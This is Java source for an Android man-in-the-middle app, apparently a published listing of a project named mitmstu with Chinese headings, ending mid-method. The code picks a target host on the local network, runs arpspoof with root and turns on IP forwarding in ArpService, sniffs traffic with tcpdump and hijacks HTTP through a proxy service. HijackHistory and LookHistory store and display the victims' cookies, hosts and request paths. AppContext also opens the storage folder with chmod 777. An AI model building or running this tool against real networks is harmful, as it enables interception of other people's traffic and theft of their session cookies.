import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.entity.LanHost;
import com.github.fdxxw.mitmstu.ref.Pcap;
import com.github.fdxxw.mitmstu.ref.PcapData;
import com.github.fdxxw.mitmstu.ref.PcapParser;
import com.github.fdxxw.mitmstu.service.SniffService;
import com.github.fdxxw.mitmstu.utils.CommonUtils;
import com.suke.widget.SwitchButton;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.text.Html;
import android.util.Log;
import android.widget.TextView;
import android.widget.Toast;
public class SniffActivity extends ActionBarActivity {

    private SwitchButton sniffSwitchButton;
    private TextView sniffInfoView;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState,R.layout.activity_sniff);
        setBarTitle(Html.fromHtml("<b>" + getString(R.string.sniff_name) + "</b>"));
```

```
        sniffInfoView = (TextView)findViewById(R.id.sniff_info);
        sniffSwitchButton = (SwitchButton)findViewById(R.id.sniff_switch_button);
        if(AppContext.isBrokenNetworkRunning) {
            sniffSwitchButton.setChecked(true);
        } else {
            sniffSwitchButton.setChecked(false);
        }
        LanHost target = AppContext.getTarget();
        if(target != null) {
            sniffInfoView.append("被嗅探者IP:" + target.getIp() + "\n被嗅探者MAC:" +
target.getMac());
        }

        sniffSwitchButton.setOnCheckedChangeListener(new
SwitchButton.OnCheckedChangeListener() {
            @Override
            public void onCheckedChanged(SwitchButton view, boolean isChecked) {
                if(isChecked) {
                    startService(new Intent(SniffActivity.this,SniffService.class));
                } else {
                    Toast.makeText(SniffActivity.this,
                            "文件保存在" + AppContext.getmStoragePath() + "/"
                            + SniffService.sniff_file_name, Toast.LENGTH_LONG).show();
                    stopService(new Intent(SniffActivity.this,SniffService.class));
                    printContent();
                }
            }
        });
    }
}
```

HijackActivity.java（HTTP 数据劫持）

```
package com.github.fdxxw.mitmstu.activity;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.os.Bundle;
import android.text.Html;
import android.text.method.ScrollingMovementMethod;
```

```
import android.widget.TextView;
import android.widget.Toast;
import com.github.fdxxw.mitmstu.R;
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.entity.LanHost;
import com.github.fdxxw.mitmstu.service.ProxyService;
import com.suke.widget.SwitchButton;
public class HijackActivity extends ActionBarActivity {
    private SwitchButton hijackSwitchButton;
    private TextView hijackInfoView;
    private TextView hijackContentView;
    private MsgReceiver msgReceiver;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState,R.layout.activity_hijack);
        setBarTitle(Html.fromHtml("<b>" + getString(R.string.hijack_name) + "</b>"));

      //动态注册广播接收器
        msgReceiver = new MsgReceiver();
        final IntentFilter intentFilter = new IntentFilter();
        intentFilter.addAction("com.github.fdxxw.mitmstu.RECEIVER");
        registerReceiver(msgReceiver, intentFilter);
        hijackSwitchButton = (SwitchButton)findViewById(R.id.hijack_switch_button);
        hijackInfoView = (TextView)findViewById(R.id.hijack_info);
        hijackContentView = (TextView)findViewById(R.id.hijack_content);
        hijackContentView.setMovementMethod(ScrollingMovementMethod.getInstance());
        if(AppContext.isHijackRunning) {
            hijackSwitchButton.setChecked(true);
        } else {
            hijackSwitchButton.setChecked(false);
        }
        final LanHost target = AppContext.getTarget();
        if(target != null) {
            hijackInfoView.append("被劫持主机IP:" + target.getIp() + "\n被劫持主机MAC:"
+ target.getMac());
        } else {
            hijackInfoView.append("没有选中要攻击的主机");
        }
        final Intent intent = new Intent(HijackActivity.this,ProxyService.class);
        intent.putExtra("targetIp", target.getIp());
```

```
        intent.putExtra("attackerIp", AppContext.getStringIp());

        hijackSwitchButton.setOnCheckedChangeListener(new
SwitchButton.OnCheckedChangeListener() {
            @Override
            public void onCheckedChanged(SwitchButton view, boolean isChecked) {
                if(isChecked) {
                 registerReceiver(msgReceiver, intentFilter);
                    startService(intent);
                } else {
                    Toast.makeText(HijackActivity.this,
                            "文件保存在" + AppContext.getmStoragePath() + "/"
                            + ProxyService.hijack_file_name,
Toast.LENGTH_LONG).show();
                    stopService(intent);
                    //注销广播
                    unregisterReceiver(msgReceiver);
                }
            }
        });

    }

    @Override
    protected void onDestroy() {
    super.onDestroy();
    }
    /**
     * 广播接收器
     *
     */
    public class MsgReceiver extends BroadcastReceiver{

        @Override
        public void onReceive(Context arg0, Intent intent) {
            String message = intent.getStringExtra("message");
            hijackContentView.append("\n" + message);
        }
    }
}
```

FileActivity.java（数据文件管理）

```
package com.github.fdxxw.mitmstu.activity;
import java.io.File;
import java.util.ArrayList;
import java.util.Date;
import java.util.List;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.text.Html;
import android.view.View;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.AdapterView.OnItemLongClickListener;
import android.widget.ListView;
import com.github.fdxxw.mitmstu.R;
import com.github.fdxxw.mitmstu.adapter.FileAdapter;
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.common.ConfirmDialog;
import com.github.fdxxw.mitmstu.common.ConfirmDialog.ClickListenerInterface;
import com.github.fdxxw.mitmstu.common.DataFile;
import com.github.fdxxw.mitmstu.utils.ShellUtils;
public class FileActivity extends ActionBarActivity {
    private ListView fileListView;

    private FileAdapter fileAdapter;
    private List<DataFile> dataFileList;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState,R.layout.activity_file);
        setBarTitle(Html.fromHtml("<b>" + getString(R.string.data_file) + "</b>"));
        fileListView = (ListView)findViewById(R.id.file_listview);
        dataFileList = getDataFiles();
        fileAdapter = new FileAdapter(dataFileList, this);
        fileListView.setAdapter(fileAdapter);
        fileListView.setOnItemClickListener(new OnItemClickListener() {
            @Override
            public void onItemClick(AdapterView<?> arg0, View arg1, int arg2,
                    long arg3) {
                AppContext.setLookDataFile((DataFile)arg0.getItemAtPosition(arg2));
```

```
                startActivity(new Intent(FileActivity.this, HijackHistory.class));
            }

        });
        fileListView.setOnItemLongClickListener(new OnItemLongClickListener() {
            @Override
            public boolean onItemLongClick(AdapterView<?> arg0, View arg1,
                    int arg2, long arg3) {
                final int position = arg2;
                final String fileName =
((DataFile)arg0.getItemAtPosition(arg2)).getFileName();
                String content = "确定要删除文件" + fileName + "吗？";
                final ConfirmDialog confirm = new ConfirmDialog(FileActivity.this, "
系统提示", "确定", content, "取消");
                confirm.show();
                confirm.setClickListener(new ClickListenerInterface() {
                    @Override
                    public void doConfirm() {
                        confirm.dismiss();
                       ShellUtils.execCommand("rm -f " + AppContext.getmStoragePath()
+ "/" + fileName, true, false, true);
                        dataFileList.remove(position);
                        fileAdapter.notifyDataSetChanged();
                    }
                    @Override
                    public void doCancel() {
                        confirm.dismiss();
                    }
                });
                return true;
            }
        });
    }
    private List<DataFile> getDataFiles() {
        List<DataFile> fileList = new ArrayList<DataFile>();
        try {
            File folder = new File(AppContext.getmStoragePath());
            File[] files = folder.listFiles();
            for(File file : files) {
                if(!file.isDirectory() && file.getName().contains(".json")) {
```

```
                    DataFile dataFile = new DataFile();
                    dataFile.setFileName(file.getName());
                    dataFile.setSaveDate(new Date(file.lastModified()));
                    fileList.add(dataFile);
                }
            }
        } catch(Exception e) {
            e.printStackTrace();
        }
        return fileList;
    }
}
```

HijackHistory.java（数据项）

```
package com.github.fdxxw.mitmstu.activity;
import java.io.File;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import android.content.Intent;
import android.os.Bundle;
import android.text.Html;
import android.view.View;
import android.widget.AdapterView;
import android.widget.AdapterView.OnItemClickListener;
import android.widget.ListView;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.github.fdxxw.mitmstu.R;
import com.github.fdxxw.mitmstu.adapter.HistoryAdapter;
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.common.DataFile;
import com.github.fdxxw.mitmstu.common.HttpPacket;
import com.github.fdxxw.mitmstu.utils.FileUtils;
public class HijackHistory extends ActionBarActivity{
    ListView historyListView;
    List<HttpPacket> packetList;
    HistoryAdapter historyAdapter;
```

```
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState,R.layout.activity_hijack_history);
    setBarTitle(Html.fromHtml("<b>" + getString(R.string.data_item) + "</b>"));
    DataFile dataFile = AppContext.getLookDataFile();
    if(dataFile != null) {
        packetList = readAndParseData(dataFile.getFileName());
    }
    historyAdapter = new HistoryAdapter(packetList, this);
    historyListView = (ListView)findViewById(R.id.hijack_history_listview);
    historyListView.setAdapter(historyAdapter);
    historyListView.setOnItemClickListener(new OnItemClickListener() {
        @Override
        public void onItemClick(AdapterView<?> arg0, View arg1, int arg2,
                long arg3) {

AppContext.setLookHttpPacket((HttpPacket)arg0.getItemAtPosition(arg2));
            startActivity(new Intent(HijackHistory.this,LookHistory.class));
        }

    });
}
private static List<HttpPacket> readAndParseData(String fileName) {
    List<HttpPacket> packetList = new ArrayList<HttpPacket>();
    try {
        File file = new File(AppContext.getmStoragePath() + "/" + fileName);
            if(!file.isDirectory() && file.getName().contains(".json")) {
                String jsonStr = FileUtils.readData(file);
                JSONObject jsonObject = JSON.parseObject(jsonStr);
                packetList.addAll(toList(jsonObject));
            }
        //String jsonStr  = FileUtils.
    } catch (Exception e) {

    }
    return packetList;
}

private static List<HttpPacket> toList(JSONObject jsonObject) {
      HashMap<String, String> data = new HashMap<String, String>();
```

```
            List<HttpPacket> packetList = new ArrayList<HttpPacket>();
            // 将json字符串转换成jsonObject
            Iterator it = jsonObject.keySet().iterator();
            // 遍历jsonObject数据，添加到Map对象
            while (it.hasNext()) {
                String key = String.valueOf(it.next());
                String value = (String) jsonObject.getString(key);
                data.put(key, value);
            }
            it = data.keySet().iterator();
            while(it.hasNext()) {
            String key = (String) it.next();
            String json = data.get(key);
            packetList.add(toBean(json));
            }
            return packetList;
    }
    private static HttpPacket toBean(String json) {
        HttpPacket httpPacket = new HttpPacket();
        JSONObject jsonObj = JSON.parseObject(json);
        httpPacket.setHost(jsonObj.getString("host"));
        httpPacket.setConnection(jsonObj.getString("connection"));
        httpPacket.setAccept_encoding(jsonObj.getString("accept_encoding"));
        httpPacket.setAccept_language(jsonObj.getString("accept_language"));
        httpPacket.setAccept_charset(jsonObj.getString("accept_charset"));
        httpPacket.setCookie(jsonObj.getString("cookie"));
        httpPacket.setUser_agent(jsonObj.getString("user_agent"));
        httpPacket.setTime(jsonObj.getString("time"));
        httpPacket.setPath(jsonObj.getString("path"));
        String jsonPaths = jsonObj.getString("paths");
        List<Object> array = JSON.parseArray(jsonPaths);
        Set<String> paths = new HashSet<String>();
        for(Object o : array) {
            paths.add(o.toString());
        }
        httpPacket.setPaths(paths);
        return httpPacket;
    }
}
```

LookHistory.java（数据内容）

```
package com.github.fdxxw.mitmstu.activity;
import android.os.Bundle;
import android.text.Html;
import android.widget.TextView;
import com.github.fdxxw.mitmstu.R;
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.common.HttpPacket;
public class LookHistory extends ActionBarActivity {
    private TextView lookView;
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState,R.layout.activity_look_history);
        setBarTitle(Html.fromHtml("<b>" + getString(R.string.data_content) +
"</b>"));
        lookView = (TextView)findViewById(R.id.lookHistory);
        HttpPacket httpPacket = AppContext.getLookHttpPacket();
        lookView.setText("\n\nTime: " + httpPacket.getTime());
        lookView.append("\n\n" + httpPacket.getHost());
        if(httpPacket.getCookie() != null) {

            lookView.append("\n\n" + httpPacket.getCookie());
        }
        lookView.append("\n\n" + httpPacket.getConnection());
        lookView.append("\n\n" + httpPacket.getAccept_encoding());
        lookView.append("\n\n" + httpPacket.getAccept_language());
        lookView.append("\n\n" + httpPacket.getAccept_charset());
        lookView.append("\n\nPath: " + httpPacket.getPath());
        for(String str : httpPacket.getPaths()) {

            lookView.append("\n\nPath: " + str);
        }
    }
}
```

ListView 的 adapter 类

FileAdapter.java（文件集合的适配器）

```
package com.github.fdxxw.mitmstu.adapter;
import java.text.SimpleDateFormat;
import java.util.List;
import android.content.Context;
```

```
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.TextView;

import com.github.fdxxw.mitmstu.R;
import com.github.fdxxw.mitmstu.common.DataFile;
public class FileAdapter extends BaseAdapter{
private List<DataFile> mFileList;
    private Context mContext;
    public FileAdapter(List<DataFile> mFileList,Context ctx) {
        this.mFileList = mFileList;
        this.mContext = ctx;
    }
    @Override
    public int getCount() {
        return mFileList.size();
    }
    @Override
    public Object getItem(int position) {
        return mFileList.get(position);
    }
    @Override
    public long getItemId(int position) {
        return position;
    }
    @Override
    public View getView(int position, View contentView, ViewGroup viewGroup) {
        if(contentView == null) {
            contentView = View.inflate(mContext, R.layout.file_list_item, null);
        }
        TextView fileNameText = (TextView)contentView.findViewById(R.id.file_name);
        TextView saveDateText = (TextView)contentView.findViewById(R.id.save_date);
        DataFile DataFile = mFileList.get(position);
        fileNameText.setText("文件名: " + DataFile.getFileName());
        SimpleDateFormat sf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
        saveDateText.setText("修改日期: " + sf.format(DataFile.getSaveDate()));
        return contentView;
    }
}
```

HostsAdapter.java（活动主机集合适配器）

```
package com.github.fdxxw.mitmstu.adapter;
import java.util.List;
import com.github.fdxxw.mitmstu.R;
import com.github.fdxxw.mitmstu.entity.LanHost;
import android.content.Context;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.TextView;
public class HostsAdapter extends BaseAdapter {
    private List<LanHost> mLanHosts;
    private Context mContext;
    public HostsAdapter(List<LanHost> lanHosts,Context ctx) {
        this.mLanHosts = lanHosts;
        this.mContext = ctx;
    }
    @Override
    public int getCount() {
        return mLanHosts.size();
    }
    @Override
    public Object getItem(int position) {
        // TODO Auto-generated method stub
        return mLanHosts.get(position);
    }
    @Override
    public long getItemId(int position) {
        // TODO Auto-generated method stub
        return position;
    }
    @Override
    public View getView(int position, View convertView, ViewGroup parent) {

        if(null == convertView) {
            convertView = View.inflate(mContext, R.layout.host_list_item, null);
        }
        TextView ipText = (TextView)convertView.findViewById(R.id.host_ip);
        TextView macText = (TextView)convertView.findViewById(R.id.host_mac);
```

```
        TextView vendorText = (TextView)convertView.findViewById(R.id.host_vendor);
        LanHost lanHost = mLanHosts.get(position);
        String alias = lanHost.getAlias();
        if(null != alias && ! alias.isEmpty())
           ipText.setText(alias);
        else
            ipText.setText(lanHost.getIp());
        macText.setText(lanHost.getMac());
        vendorText.setText(lanHost.getVendor());
        return convertView;
    }

}
```

HistoryActivity.java（数据项集合适配器）

```
package com.github.fdxxw.mitmstu.adapter;
import java.util.List;
import com.github.fdxxw.mitmstu.common.HttpPacket;
import android.content.Context;
import android.view.View;
import android.view.ViewGroup;
import android.widget.BaseAdapter;
import android.widget.TextView;
import com.github.fdxxw.mitmstu.R;
public class HistoryAdapter extends BaseAdapter {
    private List<HttpPacket> mPacketList;
    private Context mContext;
    public HistoryAdapter(List<HttpPacket> packetList,Context ctx) {
        this.mPacketList = packetList;
        this.mContext = ctx;
    }
    @Override
    public int getCount() {
        return mPacketList.size();
    }
    @Override
    public Object getItem(int position) {
        return mPacketList.get(position);
    }
    @Override
```

```
    public long getItemId(int position) {
        return position;
    }
    @Override
    public View getView(int position, View contentView, ViewGroup viewGroup) {
        if(contentView == null) {
            contentView = View.inflate(mContext, R.layout.history_list_item, null);
        }
        TextView hostNameText = (TextView)contentView.findViewById(R.id.host_name);
        HttpPacket httpPacket = mPacketList.get(position);
        hostNameText.setText(httpPacket.getHost());
        return contentView;
    }
}
```

entity 和 common

AppContext.java（应用程序入口）

```
package com.github.fdxxw.mitmstu.common;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import com.github.fdxxw.mitmstu.entity.LanHost;
import com.github.fdxxw.mitmstu.utils.NetworkUtils;
import com.github.fdxxw.mitmstu.utils.ShellUtils;
import android.app.Application;
import android.content.Context;
import android.content.SharedPreferences;
import android.os.Environment;
public class AppContext extends Application {
    private static SharedPreferences preferences = null;
    private Context mContext;
    public final static String LICENSE = "";
    public static String[] TOOLS_FILENAMES = {"arpspoof","tcpdump"};
    public static String[] TOOLS_COMMANDS = {"chmod 755 [ROOT_PATH]/arpspoof","chmod
755 [ROOT_PATH]/tcpdump"};
    private static InetAddress mInetAddress;
    private static long int_ip;
    private static long int_gateway;
    private static long int_net_mask;
```

```
    private static String mac;
    private static LanHost target = null;
    private static String gatewayMac;
    /** 存储路径，sdcard*/
    private static String mStoragePath;
    /** 断网攻击服务是否在运行，默认不运行 */
    public static boolean isBrokenNetworkRunning = false;
    /** 数据嗅探服务是否在运行，默认不运行 */
    public static boolean isSniffRunning = false;
    /** nat转发是否在运行，默认不运行*/

    public static boolean isHijackRunning = false;
    /**
     * 网卡接口名 ,example:eth0
     */
    private static String netInterface;
    private static HttpPacket lookHttpPacket;
    private static DataFile lookDataFile;
    @Override
    public void onCreate() {
        super.onCreate();
        preferences = getSharedPreferences("app", Context.MODE_PRIVATE);
        mContext = this;
        mStoragePath = Environment.getExternalStorageDirectory().toString();
        String setPermisson_cmd = "chmod 777 " + mStoragePath;
        ShellUtils.execCommand(setPermisson_cmd, true, false, true);
        initNetInfo();
    }
    public void initNetInfo() {
        mInetAddress = NetworkUtils.getInetAddress();
        if(mInetAddress != null) {
        int_ip = NetworkUtils.ipToint(mInetAddress.getHostAddress());
        int_net_mask =
NetworkUtils.ipToint(NetworkUtils.getMaskFromBit(NetworkUtils.getMaskBitByIp(mInet
Address.getHostAddress())));
        int_gateway = NetworkUtils.ipToint(NetworkUtils.getGateway());
        gatewayMac = NetworkUtils.getGatewayMac();
        try {
            netInterface =
NetworkInterface.getByInetAddress(mInetAddress).getDisplayName();
```

```
            mac =
NetworkUtils.byteMacToStr(NetworkInterface.getByInetAddress(mInetAddress).getHardw
areAddress());
        } catch (SocketException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
        }
    }
    public Context getmContext() {
        return mContext;
    }
    public void setmContext(Context mContext) {
        this.mContext = mContext;
    }
    public static InetAddress getmInetAddress() {
        return mInetAddress;
    }
    public static void setmInetAddress(InetAddress mInetAddress) {
        AppContext.mInetAddress = mInetAddress;
    }
    public static long getInt_ip() {
        return int_ip;
    }
    public static void setInt_ip(int int_ip) {
        AppContext.int_ip = int_ip;
    }
    public static String getStringIp() {
        return NetworkUtils.intToIp2(int_ip);
    }
    public static long getInt_gateway() {
        return int_gateway;
    }
    public static void setInt_gateway(int int_gateway) {
        AppContext.int_gateway = int_gateway;
    }
    public static long getInt_net_mask() {
        return int_net_mask;
    }
    public static void setInt_net_mask(int int_mac) {
```

```
        AppContext.int_net_mask = int_mac;
    }
    public static LanHost getTarget() {
        return target;
    }
    public static void setTarget(LanHost target) {
        AppContext.target = target;
    }
    public static String getGatewayMac() {
        return gatewayMac;
    }
    public static void setGatewayMac(String gatewayMac) {
        AppContext.gatewayMac = gatewayMac;
    }
    public static int getHostCount() {
        return
NetworkUtils.getHostCount(NetworkUtils.getMaskBitByIp(mInetAddress.getHostAddress(
)));
    }
    public static String getNetInterface() {
        return netInterface;
    }
    public static void setNetInterface(String netInterface) {
        AppContext.netInterface = netInterface;
    }
    public static String getMac() {
        return mac;
    }
    public static void setMac(String mac) {
        AppContext.mac = mac;
    }
    public static String getGateway() {
        return NetworkUtils.intToIp2(int_gateway);
    }
    public static String getmStoragePath() {
        return mStoragePath;
    }
    public static void setmStoragePath(String mStoragePath) {
        AppContext.mStoragePath = mStoragePath;
    }
```

```
    public static void putString(String key, String value) {
        preferences.edit().putString(key, value).commit();
    }
    public static String getString(String key, String defValue) {
        return preferences.getString(key, defValue);
    }
    public static void putInt(String key, int value) {
        preferences.edit().putInt(key, value).commit();
    }
    public static int getInt(String key, int defValue) {
        return preferences.getInt(key, defValue);
    }
    public static void putBoolean(String key, Boolean value) {
        preferences.edit().putBoolean(key, value).commit();
    }
    public static Boolean getBoolean(String key, Boolean value) {
        return preferences.getBoolean(key, false);
    }
    public static HttpPacket getLookHttpPacket() {
        return lookHttpPacket;
    }
    public static void setLookHttpPacket(HttpPacket lookHttpPacket) {
        AppContext.lookHttpPacket = lookHttpPacket;
    }
    public static DataFile getLookDataFile() {
        return lookDataFile;
    }
    public static void setLookDataFile(DataFile lookDataFile) {
        AppContext.lookDataFile = lookDataFile;
    }
}
```

HttpPacket.java（Http 数据结构）

```
package com.github.fdxxw.mitmstu.common;
import java.util.HashSet;
import java.util.Set;
public class HttpPacket {
    private String time;
    private String sourceIp;
    private String targetIp;
```

```
private String path;
private Set<String> paths = new HashSet<String>();
private String method;
private String host;
private String connection;
private String user_agent;
private String accept_encoding;
private String accept_language;
private String accept_charset;
private String cookie;
public String getSourceIp() {
    return sourceIp;
}
public void setSourceIp(String sourceIp) {
    this.sourceIp = sourceIp;
}
public String getTargetIp() {
    return targetIp;
}
public void setTargetIp(String targetIp) {
    this.targetIp = targetIp;
}
public String getPath() {
    return path;
}
public void setPath(String path) {
    this.path = path;
}
public String getMethod() {
    return method;
}
public void setMethod(String method) {
    this.method = method;
}
public String getHost() {
    return host;
}
public void setHost(String host) {
    this.host = host;
}
```

```
public String getConnection() {
    return connection;
}
public void setConnection(String connection) {
    this.connection = connection;
}
public String getUser_agent() {
    return user_agent;
}
public void setUser_agent(String user_agent) {
    this.user_agent = user_agent;
}
public String getAccept_encoding() {
    return accept_encoding;
}
public void setAccept_encoding(String accept_encoding) {
    this.accept_encoding = accept_encoding;
}
public String getAccept_language() {
    return accept_language;
}
public void setAccept_language(String accept_language) {
    this.accept_language = accept_language;
}
public String getAccept_charset() {
    return accept_charset;
}
public void setAccept_charset(String accept_charset) {
    this.accept_charset = accept_charset;
}
public String getCookie() {
    return cookie;
}
public void setCookie(String cookie) {
    this.cookie = cookie;
}
public String getTime() {
    return time;
}
public void setTime(String time) {
```

```
        this.time = time;
    }
    public Set<String> getPaths() {
        return paths;
    }
    public void setPaths(Set<String> paths) {
        this.paths = paths;
    }
}
```

DataFile.java（数据文件）

```
package com.github.fdxxw.mitmstu.common;
import java.util.Date;
public class DataFile {
    private String fileName;
    private Date saveDate;
    public String getFileName() {
        return fileName;
    }
    public void setFileName(String fileName) {
        this.fileName = fileName;
    }
    public Date getSaveDate() {
        return saveDate;
    }
    public void setSaveDate(Date saveDate) {
        this.saveDate = saveDate;
    }
}
```

LanHost.java（主机）

```
/**
 * @Title: LanHosts.java
 * @Package: com.github.fdxxw.mitmstu.entity
 * @Description: TODO
 * @author fdxxw ucmxxw@163.com
 * @date 2017年3月11日 下午7:52:21
 */
package com.github.fdxxw.mitmstu.entity;
/**
 * @Description 局域网主机
```

```
 * @author fdxxw ucmxxw@163.com
 * @date 2017年3月11日 下午7:52:21
 */
public class LanHost {
    private String  ip;
    private String mac;
    private String alias;
    private String vendor;
    public LanHost() {}
    public LanHost(String ip,String mac) {
        this.ip = ip;
        this.mac = mac;
    }
    public LanHost(String ip,String mac,String vendor) {
        this.ip = ip;
        this.mac = mac;
        this.vendor = vendor;
    }
    public LanHost(String ip,String mac,String vendor,String alias) {
        this.ip = ip;
        this.mac = mac;
        this.vendor = vendor;
        this.alias = alias;
    }
    public String getIp() {
        return ip;
    }
    public void setIp(String ip) {
        this.ip = ip;
    }
    public String getMac() {
        return mac;
    }
    public void setMac(String mac) {
        this.mac = mac;
    }
    public String getAlias() {
        return alias;
    }
    public void setAlias(String alias) {
```

```
        this.alias = alias;
    }
    public String getVendor() {
        return vendor;
    }
    public void setVendor(String vendor) {
        this.vendor = vendor;
    }
}
```

ConfirmDialog.java（自定义弹窗）

```
package com.github.fdxxw.mitmstu.common;
import android.app.Dialog;
import android.content.Context;
import android.os.Bundle;
import android.util.DisplayMetrics;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup.LayoutParams;
import android.view.Window;
import android.view.WindowManager;
import android.widget.TextView;
import com.github.fdxxw.mitmstu.R;
public class ConfirmDialog extends Dialog {
    private Context context;
    private String title;
    private String content;
    private String confirmButtonText;
    private String cancelButtonText;
    private ClickListenerInterface clickListenerInterface;
    public ConfirmDialog(Context context, String title,
        String confirmButtonText,String content, String cancelButtonText) {
        super(context);
        this.context = context;
        this.title = title;
        this.content = content;
        this.confirmButtonText = confirmButtonText;
        this.cancelButtonText = cancelButtonText;
    }
    public void setClickListener(ClickListenerInterface clickListenerInterface) {
        this.clickListenerInterface = clickListenerInterface;
```

```
    }
    public interface ClickListenerInterface {
        public void doConfirm();
        public void doCancel();
    }
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        init();
    }
    public void init() {
        LayoutInflater inflater = LayoutInflater.from(context);
        View view = inflater.inflate(R.layout.dialog_confirm, null);
        requestWindowFeature(Window.FEATURE_NO_TITLE);
        setContentView(view, new android.view.ViewGroup.LayoutParams(
                LayoutParams.MATCH_PARENT, LayoutParams.WRAP_CONTENT));
        TextView tvTitle = (TextView)findViewById(R.id.title);
        TextView tvContent = (TextView)findViewById(R.id.content);
        TextView tvConfirm = (TextView)findViewById(R.id.confirm);
        TextView tvCancel = (TextView)findViewById(R.id.cancel);

        tvTitle.setText(title);
        tvContent.setText(content);
        tvConfirm.setText(confirmButtonText);
        tvCancel.setText(cancelButtonText);
        tvConfirm.setOnClickListener(new ClickListener());
        tvCancel.setOnClickListener(new ClickListener());
         Window dialogWindow = getWindow();
         WindowManager.LayoutParams lp = dialogWindow.getAttributes();
         DisplayMetrics d = context.getResources().getDisplayMetrics(); // 获取屏幕
宽、高用
         lp.width = (int) (d.widthPixels * 0.8); // 高度设置为屏幕的0.6
         dialogWindow.setAttributes(lp);
    }
    private class ClickListener implements View.OnClickListener {
        @Override
        public void onClick(View view) {
            int id = view.getId();
            switch(id) {
            case R.id.confirm :
```

```
                clickListenerInterface.doConfirm();
                break;
            case R.id.cancel :
                clickListenerInterface.doCancel();
                break;
            }
        }
    }
}
```

Service类

ArpService.java（arp欺骗服务）

```
/**
 * @Title: ArpService.java
 * @Package: com.github.fdxxw.mitmstu.service
 * @Description: TODO
 * @author fdxxw ucmxxw@163.com
 * @date 2017年3月29日 下午6:47:35
 */
package com.github.fdxxw.mitmstu.service;
import java.net.NetworkInterface;
import com.github.fdxxw.mitmstu.common.AppContext;
import com.github.fdxxw.mitmstu.utils.ShellUtils;
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;
/**
 * @Description arp欺骗service
 * @author fdxxw ucmxxw@163.com
 * @date 2017年3月29日 下午6:47:35
 */
public class ArpService extends Service {
    /** 开启端口转发命令 */
    private String[] FORWARD_COMMANDS = {"echo 1 > /proc/sys/net/ipv4/ip_forward",
            "echo 1 > /proc/sys/net/ipv6/conf/all/forwarding"};
    /** 关闭端口转发命令 */
    private String[] UN_FORWARD_COMMANDS = {"echo 0 > /proc/sys/net/ipv4/ip_forward",
            "echo 0 > /proc/sys/net/ipv6/conf/all/forwarding"};
    public final static int ONE_WAY_HOST = 0x1;  //单向欺骗主机
    /** arp攻击命令 */
```

```
    private String arpSpoofCmd = null;
    private String arpSpoofCmd2 = null;
        /** arp欺骗线程*/
    private Thread arpSpoof = null;
    /** 是否开启端口转发，默认开启*/
    private boolean ipForward = true;
    /** arp欺骗方式 */
    private int arpCheatWay = -1;
    /** 被攻击者的ip地址 */
    private String targetIp;
    /**
     * @param intent
     * @param flags
     * @param startId
     * @return
     * @see android.app.Service#onStartCommand(android.content.Intent, int, int)
     */

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        ShellUtils.execCommand("killall arpspoof", true, false, true);

        ipForward = intent.getBooleanExtra("ipForward", false);
        if(ipForward) {
            ShellUtils.execCommand(FORWARD_COMMANDS, true, false, true);
        } else {
            ShellUtils.execCommand(UN_FORWARD_COMMANDS, true, false, true);
        }
        //网卡接口名
        String interfaceName = null;
        try {
            interfaceName = AppContext.getNetInterface();
        } catch(Exception e) {
            e.printStackTrace();
            try {
                interfaceName =
NetworkInterface.getByInetAddress(AppContext.getmInetAddress()).getDisplayName();
            } catch(Exception exc) {
                exc.printStackTrace();
```

```
            }
        }
        arpCheatWay = intent.getIntExtra("arpCheatWay", -1);
        if((ONE_WAY_HOST & arpCheatWay) != 0) {
            if(null == targetIp) {
                targetIp = AppContext.getTarget().getIp();
            }
            if(!targetIp.equals(AppContext.getGateway())) {
                arpSpoofCmd = "arpspoof -i " + interfaceName + " -t " + targetIp
                        + " " + AppContext.getGateway();
                arpSpoofCmd2 = "arpspoof -i " + interfaceName + " -t " +
AppContext.getGateway()
                        + " " + targetIp;
            } else {
                arpSpoofCmd = "arpspoof -i " + interfaceName + " -t " +
AppContext.getGateway()
                        + " " + targetIp;
            }
            arpSpoof = new Thread() {
                @Override
                public void run() {
                    ShellUtils.execCommand(arpSpoofCmd, true, false, false);
                    ShellUtils.execCommand(arpSpoofCmd2, true, false, false);
                }
            };
            arpSpoof.start();
        }
        return super.onStartCommand(intent, flags, startId);
    }
    /**
     * Description
     * @see android.app.Service#onDestroy()
     */
    @Override
    public void onDestroy() {
        if(arpSpoof != null) {
            arpSpoof.interrupt();
            arpSpoof = null;
        }
        //停止所有arpspoof job
```

```
        new Thread() {
            @Override
            public void run() {
                ShellUtils.execCommand(UN_FORWARD_COMMANDS, true, false, true);
                ShellUtils.execCommand("killall arpspoof", true, false, true);
            }
        }.start();
        super.onDestroy();
    }
    /**
     * @param arg0
     * @return
     * @see android.app.Service#onBind(android.content.Intent)
     */
    @Override
    public IBinder onBind(Intent arg0) {
        // TODO Auto-generated method stub
